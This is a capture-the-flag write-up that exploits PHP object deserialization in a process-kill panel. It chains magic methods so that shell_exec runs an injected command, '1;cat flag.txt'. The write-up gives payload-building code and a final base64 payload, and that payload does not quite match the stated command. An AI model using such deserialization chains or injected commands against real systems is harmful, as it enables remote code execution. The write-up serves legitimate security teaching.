Published on: February 6, 2025
11 min read · Posted by Baba is Dead
I made this panel to make process management and killing so much easier! It's still not very complete, so it may have some bugs... Flag is in /flag.txt
This challenge is a PHP deserialization challenge to achieve RCE. The website asks for input of Process IDs (PIDs) that you want to kill. The website serializes these PIDs and returns what appears to be a base64 string:
YToxOntpOjA7czoxOiIxIjt9
There is also an input field to parse this serialized code:
Base64 decoding the string gives the following:
a:1:{i:0;s:1:"1";}
This appears to be a PHP serialized string, hinting that the challenge revolves around exploiting PHP deserialization vulnerabilities.
Serialization is the process of converting a data structure or object into a format for storage or transmission, and reconstructing it later. PHP serialization is known to be insecure if mishandled.
Inspecting the source code of the website reveals three classes:
$killers = array();
$admin = false;
class KillerJob {
function __construct($isAdmin){
$this->isAdmin = $isAdmin;
}
function __wakeup(){
global $admin;
$admin = $this->isAdmin;
}
function __toString() {
global $killers;
global $admin;
if ($admin) {
foreach ($killers as $tokill){
echo shell_exec("kill " . $tokill)."<br>";
}
} else {
echo "Admin not here, we can't kill yet!<br>";
}
return "";
}
}
class addKill {
function __construct($killme){
global $killers;
$killers[] = $killme;
}
function __wakeup(){
global $killers;
$killers[] = $this->killme;
}
}
class MainClass {
function __construct($name){
$this->name = $name;
echo "<p>Welcome ".$this->name."!<br></p>";
}
function __wakeup(){
echo "Welcome back ".$this->name."!<br>";
}
function importProcesses($pids){
$pids = unserialize($pids);
foreach ($pids as $pid){
if(filter_var($pid, FILTER_VALIDATE_INT) === false){
die("Only integers!!!<br>");
}
new addKill($pid);
}
}
}
MainClass
importProcesses
, which deserializes input, validates integers, and creates new addKill
objects.__wakeup
method is triggered during deserialization.addKill
__wakeup
method adds the killme
property to the global $killers
array.KillerJob
__toString
method executes shell commands via shell_exec()
if the global $admin
variable is true.kill
command on each element of the $killers
array. Manipulating $killers
could allow execution of arbitrary commands like 1;cat flag.txt
.The following code snippets handle serialization and deserialization:
<?php
if ($_SERVER["REQUEST_METHOD"] == "POST") {
// Check if the first form was submitted
if (isset($_POST['pids'])) {
$pids = $_POST['pids'];
$mainClass = new MainClass("User");
$mainClass->importProcesses(base64_decode($pids));
}
// Check if the second form was submitted
if (isset($_POST['commaPids'])) {
$commaPids = $_POST['commaPids'];
$pidArray = array_map('trim', explode(',', $commaPids));
$serializedPids = serialize($pidArray);
echo "<p>Serialized PIDs: <br>" . htmlspecialchars(base64_encode($serializedPids)) . "</p>";
}
}
?>
__wakeup
MethodAlthough inputs are validated to ensure integers, these checks occur after deserialization. Since the __wakeup
method triggers during deserialization, we can exploit it.
For instance, by creating a custom addKill
object with a crafted killme
attribute, the __wakeup
method adds our attribute to the $killers
array, enabling RCE.
$payload = "1;cat flag.txt";
$data = htmlspecialchars(base64_encode(serialize([new addKill($payload)])));
echo $data;
__toString
To execute commands, we need to trigger the __toString
method of KillerJob
. In MainClass
, during the __wakeup
method, the $name
attribute is appended to a string and echoed. This calls the __toString
method if $name
is an object.
By creating a MainClass
object with a name
attribute set to a KillerJob
object, we trigger __toString
:
$payload = "1;cat flag.txt";
$data = htmlspecialchars(base64_encode(serialize([
new addKill($payload),
new MainClass(new KillerJob(true))
])));
echo $data;
Base64 Encoded Payload:
YToyOntpOjA7Tzo3OiJhZGRLaWxsIjoxOntzOjY6ImtpbGxtZSI7czoyMzoiMTtDQVRcbmZsYWcudHh0Ijt9aToxO086OToiTWFpbkNsYXNzIjoxOntzOjQ6Im5hbWUiO086OToiS2lsbGVySm9iIjoxOntzOjc6ImlzQWRtaW4iO2I6MTt9fX0=
Submit this payload to the deserialization endpoint. It runs the crafted shell command, returning the flag.
blahaj{p0P_Pop_cH41N}
Please login to comment
No comments yet